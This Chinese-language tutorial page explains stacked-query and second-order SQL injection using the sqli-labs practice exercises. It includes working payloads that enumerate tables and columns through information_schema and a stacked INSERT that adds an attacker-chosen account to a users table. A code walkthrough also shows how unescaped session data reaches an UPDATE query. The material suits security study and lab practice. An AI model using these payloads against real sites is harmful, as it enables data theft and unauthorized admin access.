请勿截屏传播

堆叠注入和二次注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。select version();select database()堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库户。

1.什么是堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。select version();select database()堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库户。

2.堆叠注入的利用

使用 id=1' and 1=2--+ id=1' and 1=1--+先确定是否存在注入。接着使用使用堆叠语法进行检测。 -999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1)--+ 把库里所有的表获取出来,再获取字段 -999' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+ 知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表 直接添加管理员账号即可 登录后台。 http://192.168.0.145:7766/Less-38/?id=1%27;INSERT%20into%20users%20values(20,%27moonsec%27,%27123456%27)--+id=-999';insertintousers(id,username,password)values(1000,'moonsec','123456')--+ 访问 1000 即可访问到刚刚添加的账号

3.什么是二次注入

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

二次注入原理

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

二次注入图解

4.二次注入代码分析

在 sqli-lbas 24 中存在二次注入。先来分析一下代码。 mysql_escape_string 函数会将特殊字符进行过滤 如' 经过转义就成了' 然后用 insert into 存入在数据库中。在 login.php 查看源码 登录获取用 mysql_escape_string 对输入的参数进行转义转义之后在数据库中查找指定的账号和密码 再传入到 session 里 在看 pass_change.php 源码 SESSION[username]复制给_SESSION['username'] 复制给 username 无任何过滤再带入 UPDATE 语句中造成注入。整个流程就是注册用户,更改密码时会触法注入。可以看到二次注入笔记隐蔽。通常发生在更改,需要二次带入数据时提交的功能里。

SQL 注入绕过技术
报错注入

评论区

评论加载中...